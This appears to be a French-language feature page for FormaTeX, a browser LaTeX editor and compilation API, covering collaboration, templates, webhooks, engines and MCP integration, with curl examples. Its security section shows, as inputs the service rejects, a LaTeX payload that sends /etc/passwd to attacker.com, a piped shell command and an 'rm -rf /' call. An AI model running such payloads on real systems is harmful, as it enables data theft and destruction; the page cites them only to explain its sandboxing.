\features{FormaTeX}
Éditeur navigateur, assistant IA, collaboration en temps réel, API REST, quatre moteurs LaTeX, intégration MCP — chaque fonctionnalité conçue pour les développeurs et les auteurs qui ont besoin de LaTeX sans le travail d'infrastructure.
\section{Plateforme}
Éditeur · IA · Collaboration · Projets · Modèles · Webhooks · GitHub
\feature{editor}
Un véritable IDE. Dans le navigateur. Sans installation.
FormaTeX fournit un environnement de développement LaTeX complet qui s'exécute entièrement dans le navigateur. CodeMirror 6 avec coloration syntaxique LaTeX, un aperçu PDF en volet redimensionnable, un explorateur de fichiers du projet, un panneau de plan, une liste de symboles, une minimap et un journal de compilation complet avec la liste des erreurs analysées. Importez des images, des fichiers .bib et des classes personnalisées. L'enregistrement automatique s'exécute en arrière-plan : fermer l'onglet ne fait rien perdre.
Explorer
PDF Preview
\feature{ai}
Corriger, expliquer, générer et discuter — avec tout le contexte du projet.
Quatre modes d'IA intégrés à l'éditeur. Corriger analyse votre journal d'erreurs et produit du LaTeX corrigé. Expliquer traduit les erreurs du compilateur en langage clair. Générer écrit du LaTeX à partir d'une description en texte brut. Discuter vous donne un assistant conversationnel qui a accès à tous les fichiers de votre projet. L'IA voit votre source réel — pas un extrait que vous collez.
! Error on line 47
Undefined control sequence \mathrm
Add \usepackage{amsmath} to your preamble. \mathrm is defined there.
+ \usepackage{amsmath}
\feature{collaboration}
Plusieurs personnes. Un seul document. En direct.
Collaboration en temps réel par WebSocket, disponible depuis février 2026. Invitez des collaborateurs par e-mail, attribuez le rôle Éditeur ou Lecteur et voyez des indicateurs de présence avec des avatars colorés dérivés de façon déterministe de l'UUID de chaque utilisateur. Les lecteurs sont restreints côté serveur : ils ne peuvent pas diffuser d'événements d'édition, quel que soit l'état du client. Ouvrir le même projet dans deux onglets ferme automatiquement l'ancienne connexion.
\feature{projects}
Des espaces de travail multifichiers persistants, avec l'historique complet des modifications.
Les projets sont des espaces de travail nommés et colorés qui conservent tous vos fichiers côté serveur. Créez un projet une fois, ajoutez du source .tex, des références .bib, des images et des classes personnalisées — tout reste disponible d'une session et d'une compilation à l'autre. Chaque enregistrement et chaque suppression est consigné comme un instantané dans l'historique des fichiers : une chronologie façon git log qui montre ce qui a changé, quand, et qui a fait chaque modification.
Projects
IEEE Paper 2026
PhD Thesis — Ch.4
CV / Resume
3 of 5 projects · Free plan
File History
IEEE Paper 2026
Today · 3 changes
sections/intro.tex
refs.bib
fig1.png
\feature{templates}
Envoyez du JSON. Recevez un PDF. Aucune connaissance de LaTeX requise.
Enregistrez un document LaTeX une fois comme modèle, marquez les valeurs dynamiques avec des espaces réservés <<variable>> et compilez-le à partir de JSON brut. Vos appelants ne touchent jamais à LaTeX : ils envoient (POST) un objet JSON avec les valeurs des variables et reçoivent un PDF. Les modèles prennent en charge des ressources importées (logos, fichiers .bib, .cls), peuvent être dupliqués depuis la bibliothèque de modèles et se compilent avec n'importe quelle clé API.
Variables
\feature{webhooks}
Votre serveur est prévenu dès qu'une tâche se termine.
Enregistrez une URL et abonnez-vous aux événements de compilation, de quota et de plan. FormaTeX envoie un POST signé à votre point de terminaison à chaque événement. Chaque envoi est signé en HMAC-SHA256 avec votre secret de webhook : vérifiez l'en-tête X-FormaTeX-Signature avant tout traitement. Les envois échoués sont réessayés automatiquement jusqu'à 5 fois avec un délai exponentiel. Le tableau de bord affiche le taux de réussite par webhook, l'historique complet des envois avec les numéros de tentative et un bouton de test.
\feature{github}
Poussez votre projet vers GitHub. Tirez depuis n'importe quel dépôt.
Liez n'importe quel projet FormaTeX à un dépôt GitHub et gardez-les synchronisés. Poussez votre source LaTeX, vos fichiers .bib et vos ressources vers une branche en un clic — ou déclenchez un push automatique après chaque compilation réussie. Tirez les modifications depuis GitHub pour restaurer une version précédente ou accueillir le fork d'un nouveau collaborateur. Fonctionne avec les dépôts publics et privés. Disponible sur les plans Max et Enterprise.
\feature{overleaf-import}
Apportez vos projets existants en un clic.
Déjà sur Overleaf ? Exportez votre projet en zip (Menu → Download → Source) et déposez-le dans FormaTeX. Toute l'arborescence — source .tex, références .bib, images, classes personnalisées, sous-dossiers — est extraite, analysée et enregistrée automatiquement comme nouveau projet. Le fichier .tex racine est détecté et ouvert immédiatement. Aucune copie manuelle de fichiers, aucune remise en forme, aucune friction.
# 1. Export from Overleaf
# Menu → Download → Source → my-thesis.zip
# 2. Import via the Projects dashboard
# Click "Import from Overleaf" → drop the zip → done
# 3. Or use the API directly
curl -X POST https://api.formatex.io/api/v1/users/me/projects/import \
-H "Authorization: Bearer <jwt>" \
-F "[email protected]"
# Response
{
"project": {
"id": "proj_7f2a...",
"name": "my-thesis",
"color": "amber"
},
"main_file": "main.tex"
}\section{API et compilation}
REST · Moteurs · Async / Flux / Intelligent · Rendu d'équations · Sécurité
\feature{rest-api}
Envoyez du LaTeX. Recevez un PDF. Un seul point de terminaison.
Toute la surface de compilation de FormaTeX tient dans un seul point de terminaison POST. Aucun SDK requis, aucune cérémonie d'authentification. Envoyez du JSON contenant votre source LaTeX et le moteur souhaité, recevez un PDF binaire dans le corps de la réponse. Chaque réponse inclut dans ses en-têtes la durée de compilation, le moteur utilisé et votre quota restant. Fonctionne de la même façon depuis curl, JavaScript, Python, Go ou n'importe quel client HTTP.
curl -X POST https://api.formatex.io/api/v1/compile \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-d '{
"latex": "\\documentclass{article}\\begin{document}Hello\\end{document}",
"engine": "pdflatex"
}' \
--output document.pdf
# Response headers:
# HTTP/1.1 200 OK
# Content-Type: application/pdf
# X-Engine: pdflatex
# X-Compile-Duration-Ms: 94
# X-Compilations-Used: 42
# X-Compilations-Limit: 500\feature{engines}
Le bon outil pour chaque type de document.
pdfLaTeX pour une vitesse et une compatibilité de paquets maximales. XeLaTeX pour les polices système (TTF/OTF) et Unicode. LuaLaTeX pour les scripts Lua et la génération programmatique de contenu. latexmk pour la compilation multipasse automatique — bibliographie, table des matières, renvois, tout est résolu en une seule requête. Choisissez par requête avec un seul paramètre JSON. Tous les moteurs utilisent la même installation TeX Live.
Le standard. Le plus rapide. La meilleure compatibilité.
Sortie PDF directe · Polices Type 1 · Prise en charge de paquets la plus large
Polices système. Unicode natif.
TTF / OTF · Texte de droite à gauche · Fonctionnalités OpenType
Scripts Lua complets dans LaTeX.
Contenu programmatique · Le plus puissant · Le plus lent
Multi-passes automatique. Résout tout.
Bibliographie · Table des matières · Références croisées · Nouvelle tentative auto
\feature{async}
Bloquante, en arrière-plan, en flux direct, intelligente ou multifichier. Choisissez votre mode.
Cinq modes de compilation pour chaque usage. Sync renvoie le PDF immédiatement dans la réponse — aucune configuration. Async met la tâche en file et renvoie un identifiant de tâche immédiatement — aucune connexion maintenue ouverte, idéal pour les pipelines par lots. Stream diffuse le journal ligne par ligne en SSE pendant l'exécution du moteur — parfait pour les interfaces de progression en direct. La compilation intelligente lit le préambule de votre document, choisit automatiquement le bon moteur et réessaie en cas d'échec transitoire. La compilation ZIP accepte l'archive d'un projet multifichier complet — thèse, livre, kit de CV — et renvoie le PDF compilé en une seule requête.
sync
Bloquant · PDF dans la réponse
PDF renvoyé dans le corps de la réponse — un seul aller-retour
async
Non bloquant · Interrogez le résultat
Connexion libérée immédiatement — interrogez quand c'est prêt
stream
SSE · Journal en direct
[1/1] pdflatex -no-shell-escape main.tex
This is pdfTeX, Version 3.141592653
Output written on main.pdf (12 pages)
Compiled in 312ms ✓
Créez un terminal en temps réel dans votre interface
smart
Détection auto · Nouvelle tentative en cas d'échec
Analyse du préambule
\documentclass{article}→pdflatex\usepackage[fontspec]{...}→xelatex\directlua{...}→lualatexAucune configuration de moteur — envoyez simplement votre LaTeX
\feature{security}
LaTeX est puissant et dangereux. Nous le contenons.
Chaque compilation s'exécute dans un contexte d'exécution isolé avec -no-shell-escape imposé, des E/S de fichiers restreintes (openout_any=p, openin_any=p) et aucun accès réseau sortant. La désinfection des entrées bloque les vecteurs d'attaque connus avant le démarrage du moteur. Le source LaTeX n'est jamais écrit dans les journaux. Les fichiers de compilation sont supprimés du disque immédiatement après le traitement. Les fichiers de projet que vous choisissez d'enregistrer sont stockés de façon sécurisée dans votre compte.
// These inputs are rejected before the engine starts:
// \write18{curl attacker.com/exfil?data=$(cat /etc/passwd)}
// \input{|"id > /tmp/pwned.txt"}
// \directlua{os.execute("rm -rf /")}
// Valid input compiles normally:
POST /api/v1/compile
{
"latex": "\\documentclass{article}\\begin{document}Safe.\\end{document}",
"engine": "pdflatex"
}
// HTTP/1.1 200 OK
// X-Compile-Duration-Ms: 88
// [source deleted from disk immediately]\feature{equation-render}
N'importe quelle expression mathématique. PNG ou SVG. Sans document complet.
Envoyez une expression mathématique LaTeX brute, recevez une image PNG ou SVG nette — sans préambule de document, sans code superflu. L'API l'enveloppe automatiquement dans un document autonome, compile avec pdflatex et convertit vers le format voulu. amsmath, amssymb et amsfonts sont préchargés. Distinct du quota de compilation : le rendu d'équations ne compte jamais dans votre limite mensuelle. Idéal pour les applications de messagerie, les plateformes éducatives, les outils de documentation et partout où des mathématiques doivent s'afficher.
# PNG — binary response (save directly to file)
curl -X POST https://api.formatex.io/api/v1/render/equation \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-d '{"latex": "\\int_0^\\infty e^{-x^2} dx = \\frac{\\sqrt{\\pi}}{2}"}' \
--output equation.png
# SVG — display mode
curl -X POST https://api.formatex.io/api/v1/render/equation \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-d '{"latex": "\\nabla \\cdot \\mathbf{E} = \\frac{\\rho}{\\varepsilon_0}", "format": "svg", "display": true}' \
--output equation.svg
# JSON response with base64 + dimensions
curl -X POST https://api.formatex.io/api/v1/render/equation \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-d '{"latex": "E = mc^2", "dpi": 150}'
# → { "image": "<base64>", "format": "png", "width": 120, "height": 22 }\section{Intégrations}
MCP · Clés API · Statistiques d'usage
\feature{mcp}
Votre agent IA compile LaTeX nativement.
FormaTeX fournit un serveur MCP de premier ordre. Ajoutez-le à Claude, Claude Code, Cursor, VS Code, Codex ou à tout client compatible MCP : votre IA accède directement à toute la chaîne de compilation LaTeX. Compilez des documents, remplissez des modèles avec des variables, validez la syntaxe ou listez les moteurs disponibles — le tout depuis une conversation avec l'IA. Sans changer de terminal, sans copier de fichiers, sans rupture de contexte.
// claude_desktop_config.json (local stdio binary)
{
"mcpServers": {
"formatex": {
"command": "formatex-mcp",
"env": {
"FORMATEX_API_KEY": "fex_a8k2mP9..."
}
}
}
}
// Claude can now:
// "Compile this document with XeLaTeX and give me the PDF link"
// "Fill the invoice template for Acme Corp, $12,500 due March 15"
// "Check my LaTeX for syntax errors before I compile"
// "Which engines are available on my plan?"\listfeatures{all}
\begin{document}
Éditeur, API, IA et collaboration sur tous les plans. Sans carte bancaire. Commencez en 30 secondes.